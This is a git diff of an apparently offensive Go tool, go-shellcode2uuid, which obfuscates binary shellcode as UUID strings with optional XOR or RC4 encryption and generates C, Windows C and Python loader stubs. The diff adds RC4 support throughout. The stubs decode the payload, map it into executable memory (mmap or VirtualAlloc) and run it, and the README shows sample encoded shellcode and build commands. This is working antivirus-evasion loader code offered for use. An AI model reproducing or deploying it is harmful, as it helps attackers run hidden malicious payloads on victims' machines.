diff options
-rw-r--r-- | README.md | 94 | ||||
-rw-r--r-- | main.go | 246 |
2 files changed, 211 insertions, 129 deletions
@@ -56,10 +56,12 @@ $ make darwin-arm64 Usage of ./go-shellcode2uuid-linux-amd64: -file string path to binary shellcode file + -rc4 + enable rc4 encryption with 16bit random key -stub string stub language to output (c, cwin, py) -xor - enable random single-byte XOR encoding + enable single-byte xor encoding with random key ``` ## Examples @@ -69,7 +71,7 @@ Usage of ./go-shellcode2uuid-linux-amd64: ``` $ ./go-shellcode2uuid -file shellcode_win.bin -stub cwin -xor [inf] shellcode size (276 bytes) is not a multiple of 16, will pad with nullbytes -[inf] using XOR key: 0x1c +[inf] using xor key: 0x1c e0549ff8-ecf4-dc1c-1c1c-5d4d5d4c4e4d 4a542dce-7954-974e-7c54-974e0454974e 3c54976e-4c54-13ab-5656-512dd5542ddc @@ -90,90 +92,20 @@ c9549fd8-3420-1a60-169c-e7fc6919a75b 7964791c-1c1c-1c1c-1c1c-1c1c1c1c1c1c [inf] stub written to stub.c -$ head -30 stub.c -// x86_64-w64-mingw32-gcc -o stub.exe stub.c -Wl,--nxcompat -Wl,--dynamicbase -#include <windows.h> -#include <stdio.h> -#include <stdint.h> -#include <stdlib.h> - -#define ORIGINAL_SHELLCODE_LENGTH 276 - -const char* uuid_strings[] = { - "e0549ff8-ecf4-dc1c-1c1c-5d4d5d4c4e4d", - "4a542dce-7954-974e-7c54-974e0454974e", - "3c54976e-4c54-13ab-5656-512dd5542ddc", - "b0207d60-1e30-3c5d-ddd5-115d1dddfef1", - "4e5d4d54-974e-3c97-5e20-541dcc979c94", - "1c1c1c54-99dc-687b-541d-cc4c97540458", - "975c3c55-1dcc-ff4a-54e3-d55d97289454", - "1dca512d-d554-2ddc-b05d-ddd5115d1ddd", - "24fc69ed-501f-5038-1459-25cd69c44458", - "975c3855-1dcc-7a5d-9710-5458975c0055", - "1dcc5d97-1894-541d-cc5d-445d44424546", - "5d445d45-5d46-549f-f03c-5d4ee3fc445d", - "45465497-0ef5-4be3-e3e3-4154a61d1c1c", - "1c1c1c1c-1c54-9191-1d1d-1c1c5da62d97", - "739be3c9-a7fc-0136-165d-a6ba89a181e3", - "c9549fd8-3420-1a60-169c-e7fc6919a75b", - "0f6e7376-1c45-5d95-c6e3-c97f7d707f32", - "7964791c-1c1c-1c1c-1c1c-1c1c1c1c1c1c", -}; -... +$ x86_64-w64-mingw32-gcc -o stub.exe stub.c -Wl,--nxcompat -Wl,--dynamicbase ``` -### Generate a Python stub with XOR encoding: +### Generate a Python stub with RC4 encoding: ``` -$ ./go-shellcode2uuid -file shellcode_linux.bin -stub py -xor -[inf] shellcode size (276 bytes) is not a multiple of 16, will pad with nullbytes -[inf] using XOR key: 0x09 -f5418aed-f9e1-c909-0909-485848595b58 -5f4138db-6c41-825b-6941-825b1141825b -2941827b-5941-06be-4343-4438c04138c9 -a5356875-0b25-2948-c8c0-044808c8ebe4 -5b485841-825b-2982-4b35-4108d9828981 -09090941-8cc9-7d6e-4108-d9598241114d -82492940-08d9-ea5f-41f6-c048823d8141 -08df4438-c041-38c9-a548-c8c0044808c8 -31e97cf8-450a-452d-014c-30d87cd1514d -82492d40-08d9-6f48-8205-414d82491540 -08d94882-0d81-4108-d948-514851575053 -48514850-4853-418a-e529-485bf6e95148 -50534182-1be0-5ef6-f6f6-5441b3080909 -09090909-0941-8484-0808-090948b33882 -668ef6dc-b2e9-1423-0348-b3af9cb494f6 -dc418acd-2135-0f75-0389-f2e97c0cb24e -1a7b6663-0950-4880-d3f6-dc6a68656a27 -6c716c09-0909-0909-0909-090909090909 +$ ./go-shellcode2uuid-linux-amd64 -file shellcode_linux.bin -rc4 -stub py +[inf] shellcode size (54 bytes) is not a multiple of 16, will pad with nullbytes +[inf] using rc4 key: r24OlLLBQr6Ay8rL +ef4cd858-172a-5494-d0f2-1aec40ea5813 +00ccb780-888c-ea60-0353-85d24303e0a9 +3627567b-6603-5074-4beb-a8c1b23c7211 +c73d284b-b64d-d337-4ec5-3be297937f8f [inf] stub written to stub.py - -$ cat stub.py -import uuid -import mmap -import ctypes - -uuids = [ - 'f5418aed-f9e1-c909-0909-485848595b58', - '5f4138db-6c41-825b-6941-825b1141825b', - '2941827b-5941-06be-4343-4438c04138c9', - 'a5356875-0b25-2948-c8c0-044808c8ebe4', - '5b485841-825b-2982-4b35-4108d9828981', - '09090941-8cc9-7d6e-4108-d9598241114d', - '82492940-08d9-ea5f-41f6-c048823d8141', - '08df4438-c041-38c9-a548-c8c0044808c8', - '31e97cf8-450a-452d-014c-30d87cd1514d', - '82492d40-08d9-6f48-8205-414d82491540', - '08d94882-0d81-4108-d948-514851575053', - '48514850-4853-418a-e529-485bf6e95148', - '50534182-1be0-5ef6-f6f6-5441b3080909', - '09090909-0941-8484-0808-090948b33882', - '668ef6dc-b2e9-1423-0348-b3af9cb494f6', - 'dc418acd-2135-0f75-0389-f2e97c0cb24e', - '1a7b6663-0950-4880-d3f6-dc6a68656a27', - '6c716c09-0909-0909-0909-090909090909', -] -... ``` - The tool prints the generated UUID strings to stdout and writes the stub source file (`stub.c` or `stub.py`). @@ -19,6 +19,7 @@ uuids = [ {{- end }} ] +print('decoding uuids to shellcode') shellcode = b'' for u in uuids: shellcode += uuid.UUID(u).bytes @@ -26,12 +27,39 @@ for u in uuids: shellcode = shellcode[:{{ .OrigLen }}] {{- if .XORKey }} +print('xor decrypting shellcode') key = {{ .XORKey }} shellcode = bytes(b ^ key for b in shellcode) {{- end }} +{{- if .RC4Key }} +def rc4_crypt(data, key): + S = list(range(256)) + j = 0 + out = bytearray() + key = bytearray(key, 'utf-8') + + for i in range(256): + j = (j + S[i] + key[i % len(key)]) % 256 + S[i], S[j] = S[j], S[i] + + i = j = 0 + for byte in data: + i = (i + 1) % 256 + j = (j + S[i]) % 256 + S[i], S[j] = S[j], S[i] + out.append(byte ^ S[(S[i] + S[j]) % 256]) + return bytes(out) + +print('rc4 decrypting shellcode') +rc4_key = "{{ .RC4Key }}" +shellcode = rc4_crypt(shellcode, rc4_key) + +{{- end }} + print(f'decoded shellcode length: {len(shellcode)} bytes') +print('calling mmap for memory allocation') pagesize = mmap.PAGESIZE size = ((len(shellcode) + pagesize - 1) // pagesize) * pagesize mem = mmap.mmap(-1, size, prot=mmap.PROT_READ | mmap.PROT_WRITE | mmap.PROT_EXEC) @@ -58,6 +86,9 @@ const char* uuid_strings[] = { {{- end }} }; +#define UUID_COUNT (sizeof(uuid_strings) / sizeof(uuid_strings[0])) +#define SHELLCODE_TOTAL_LEN (UUID_COUNT * 16) + uint8_t hexchar(char c) { if ('0' <= c && c <= '9') return c - '0'; if ('a' <= c && c <= 'f') return c - 'a' + 10; @@ -72,56 +103,78 @@ void parse_uuid(const char* str, uint8_t* out) { ++i; continue; } - out[j] = (hexchar(str[i]) << 4) | hexchar(str[i+1]); + out[j++] = (hexchar(str[i]) << 4) | hexchar(str[i+1]); i += 2; - ++j; } } -{{- if .XORKey }} +uint8_t* decode_uuids() { + printf("decoding uuids to shellcode\n"); + uint8_t* buf = malloc(SHELLCODE_TOTAL_LEN); + if (!buf) { + fprintf(stderr, "malloc failed\n"); + exit(1); + } + for (size_t i = 0; i < UUID_COUNT; ++i) { + parse_uuid(uuid_strings[i], buf + i * 16); + } + return buf; +} +{{- if .XORKey }} void xor_decode(uint8_t *buf, size_t len, uint8_t key) { - for (size_t i = 0; i < len; i++) { + printf("xor decrypting shellcode\n"); + for (size_t i = 0; i < len; ++i) buf[i] ^= key; - } } {{- end }} -uint8_t* decode_uuids(size_t count, size_t* out_len) { - uint8_t* buf = malloc(count * 16); - if (!buf) { - fprintf(stderr, "malloc failed\\n"); - exit(1); +{{- if .RC4Key }} +void rc4_crypt(uint8_t *data, size_t len, const char *key) { + printf("rc4 decrypting shellcode\n"); + uint8_t S[256]; + int i, j = 0; + for (i = 0; i < 256; i++) S[i] = i; + for (i = 0; i < 256; i++) { + j = (j + S[i] + key[i % strlen(key)]) & 0xFF; + uint8_t tmp = S[i]; S[i] = S[j]; S[j] = tmp; } - - for (size_t i = 0; i < count; ++i) { - parse_uuid(uuid_strings[i], buf + (i * 16)); + i = j = 0; + for (size_t n = 0; n < len; n++) { + i = (i + 1) & 0xFF; + j = (j + S[i]) & 0xFF; + uint8_t tmp = S[i]; S[i] = S[j]; S[j] = tmp; + data[n] ^= S[(S[i] + S[j]) & 0xFF]; } - - *out_len = count * 16; - return buf; } +{{- end }} -int main() { - size_t shellcode_len = 0; - uint8_t* shellcode = decode_uuids(sizeof(uuid_strings) / sizeof(uuid_strings[0]), &shellcode_len); - +void decrypt_shellcode(uint8_t *buf) { {{- if .XORKey }} - xor_decode(shellcode, shellcode_len, {{ .XORKey }}); + xor_decode(buf, SHELLCODE_TOTAL_LEN, {{ .XORKey }}); {{- end }} +{{- if .RC4Key }} + rc4_crypt(buf, SHELLCODE_TOTAL_LEN, "{{ .RC4Key }}"); +{{- end }} +} - printf("decoded shellcode length: %zu\\n", shellcode_len); +int main() { + uint8_t* shellcode = decode_uuids(); + decrypt_shellcode(shellcode); + + printf("decoded shellcode length: %zu\n", SHELLCODE_TOTAL_LEN); - void *exec = mmap(0, shellcode_len, PROT_READ | PROT_WRITE | PROT_EXEC, + printf("calling mmap for memory allocation\n"); + void *exec = mmap(0, SHELLCODE_TOTAL_LEN, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_PRIVATE, -1, 0); if (exec == MAP_FAILED) { perror("mmap"); return 1; } + printf("executing shellcode\n"); memcpy(exec, shellcode, ORIGINAL_SHELLCODE_LENGTH); ((void(*)())exec)(); - printf("successfully executed shellcode\\n"); free(shellcode); return 0; @@ -142,6 +195,9 @@ const char* uuid_strings[] = { {{- end }} }; +#define UUID_COUNT (sizeof(uuid_strings) / sizeof(uuid_strings[0])) +#define SHELLCODE_TOTAL_LEN (UUID_COUNT * 16) + uint8_t hexchar(char c) { if ('0' <= c && c <= '9') return c - '0'; if ('a' <= c && c <= 'f') return c - 'a' + 10; @@ -156,48 +212,81 @@ void parse_uuid(const char* str, uint8_t* out) { ++i; continue; } - out[j] = (hexchar(str[i]) << 4) | hexchar(str[i+1]); + out[j++] = (hexchar(str[i]) << 4) | hexchar(str[i+1]); i += 2; - ++j; } } -{{- if .XORKey }} +uint8_t* decode_uuids(size_t count, size_t* out_len) { + printf("decoding uuids to shellcode\n"); + uint8_t* buf = (uint8_t*)malloc(count * 16); + if (!buf) { + fprintf(stderr, "malloc failed\n"); + exit(1); + } + for (size_t i = 0; i < count; ++i) { + parse_uuid(uuid_strings[i], buf + i * 16); + } + + *out_len = count * 16; + return buf; +} + +{{- if .XORKey }} void xor_decode(uint8_t *buf, size_t len, uint8_t key) { - for (size_t i = 0; i < len; i++) { + printf("xor decrypting shellcode\n"); + for (size_t i = 0; i < len; ++i) buf[i] ^= key; - } } {{- end }} -int main() { - size_t count = sizeof(uuid_strings) / sizeof(uuid_strings[0]); - uint8_t* shellcode = (uint8_t*)malloc(count * 16); - if (!shellcode) { - fprintf(stderr, "malloc failed\n"); - return 1; +{{- if .RC4Key }} +void rc4_crypt(uint8_t *data, size_t len, const char *key) { + printf("rc4 decrypting shellcode\n"); + uint8_t S[256]; + int i, j = 0; + for (i = 0; i < 256; i++) S[i] = i; + for (i = 0; i < 256; i++) { + j = (j + S[i] + key[i % strlen(key)]) & 0xFF; + uint8_t tmp = S[i]; S[i] = S[j]; S[j] = tmp; } - - for (size_t i = 0; i < count; ++i) { - parse_uuid(uuid_strings[i], shellcode + i * 16); + i = j = 0; + for (size_t n = 0; n < len; n++) { + i = (i + 1) & 0xFF; + j = (j + S[i]) & 0xFF; + uint8_t tmp = S[i]; S[i] = S[j]; S[j] = tmp; + data[n] ^= S[(S[i] + S[j]) & 0xFF]; } +} +{{- end }} -{{if .XORKey }} - xor_decode(shellcode, count * 16, {{ .XORKey }}); +void decrypt_shellcode(uint8_t *buf) { +{{- if .XORKey }} + xor_decode(buf, SHELLCODE_TOTAL_LEN, {{ .XORKey }}); {{- end }} +{{- if .RC4Key }} + rc4_crypt(buf, SHELLCODE_TOTAL_LEN, "{{ .RC4Key }}"); +{{- end }} +} - printf("decoded shellcode length: %zu\n", count * 16); +int main() { + size_t shellcode_len = 0; + uint8_t* shellcode = decode_uuids(UUID_COUNT, &shellcode_len); + + decrypt_shellcode(shellcode); + printf("decoded shellcode length: %zu\n", shellcode_len); - void* exec = VirtualAlloc(NULL, count * 16, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); + printf("calling VirtualAlloc for memory allocation\n"); + void* exec = VirtualAlloc(NULL, shellcode_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (!exec) { fprintf(stderr, "VirtualAlloc failed\n"); free(shellcode); return 1; } + printf("executing shellcode\n"); memcpy(exec, shellcode, ORIGINAL_SHELLCODE_LENGTH); - ((void(*)())exec)(); free(shellcode); @@ -208,7 +297,8 @@ int main() { func main() { filePath := flag.String("file", "", "path to binary shellcode file") stubLang := flag.String("stub", "", "stub language to output (c, cwin, py)") - xorFlag := flag.Bool("xor", false, "enable random single-byte XOR encoding") + xorFlag := flag.Bool("xor", false, "enable single-byte xor encoding with random key") + rc4Flag := flag.Bool("rc4", false, "enable rc4 encryption with 16bit random key") flag.Parse() if *filePath == "" { @@ -229,20 +319,40 @@ func main() { data = append(data, make([]byte, pad)...) } + if *xorFlag && *rc4Flag { + fmt.Fprintf(os.Stderr, "[err] cannot use both xor and rc4\n") + os.Exit(1) + } + + var rc4Key []byte var xorKey byte = 0 + if *xorFlag { key := make([]byte, 1) _, err := rand.Read(key) if err != nil { - fmt.Fprintf(os.Stderr, "[err] failed to generate XOR key: %v\n", err) + fmt.Fprintf(os.Stderr, "[err] failed to generate xor key: %v\n", err) os.Exit(1) } xorKey = key[0] - fmt.Printf("[inf] using XOR key: 0x%02x\n", xorKey) + fmt.Printf("[inf] using xor key: 0x%02x\n", xorKey) for i := 0; i < len(data); i++ { data[i] ^= xorKey } + } else if *rc4Flag { + var err error + rc4Key, err = generateRC4Key() + if err != nil { + fmt.Fprintf(os.Stderr, "[err] failed to generate rc4 key: %v\n", err) + os.Exit(1) + } + fmt.Printf("[inf] using rc4 key: %s\n", string(rc4Key)) + data, err = rc4Encrypt(data, rc4Key) + if err != nil { + fmt.Fprintf(os.Stderr, "[err] rc4 encryption failed: %v\n", err) + os.Exit(1) + } } var uuids []string @@ -272,7 +382,7 @@ func main() { os.Exit(1) } - err := renderTemplateToFile(stubContent, uuids, origLen, xorKey, fileName) + err := renderTemplateToFile(stubContent, uuids, origLen, xorKey, string(rc4Key), fileName) if err != nil { fmt.Fprintf(os.Stderr, "[err] failed to write stub: %v\n", err) os.Exit(1) @@ -281,6 +391,45 @@ func main() { } } +func generateRC4Key() ([]byte, error) { + const charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" + key := make([]byte, 16) + for i := range key { + b := make([]byte, 1) + if _, err := rand.Read(b); err != nil { + return nil, err + } + key[i] = charset[int(b[0])%len(charset)] + } + return key, nil +} + +func rc4Encrypt(data, key []byte) ([]byte, error) { + S := [256]byte{} + T := [256]byte{} + for i := 0; i < 256; i++ { + S[i] = byte(i) + T[i] = key[i%len(key)] + } + + j := 0 + for i := 0; i < 256; i++ { + j = (j + int(S[i]) + int(T[i])) % 256 + S[i], S[j] = S[j], S[i] + } + + i, j := 0, 0 + out := make([]byte, len(data)) + for n := 0; n < len(data); n++ { + i = (i + 1) % 256 + j = (j + int(S[i])) % 256 + S[i], S[j] = S[j], S[i] + K := S[(int(S[i])+int(S[j]))%256] + out[n] = data[n] ^ K + } + return out, nil +} + func formatAsUUID(b []byte) string { if len(b) != 16 { return "" @@ -294,7 +443,7 @@ func formatAsUUID(b []byte) string { ) } -func renderTemplateToFile(tmplStr string, uuids []string, origLen int, xorKey byte, fileName string) error { +func renderTemplateToFile(tmplStr string, uuids []string, origLen int, xorKey byte, rc4Key string, fileName string) error { tmpl, err := template.New("stub").Parse(tmplStr) if err != nil { return err @@ -310,6 +459,7 @@ func renderTemplateToFile(tmplStr string, uuids []string, origLen int, xorKey by "UUIDs": uuids, "OrigLen": origLen, "XORKey": xorKey, + "RC4Key": string(rc4Key), }) } |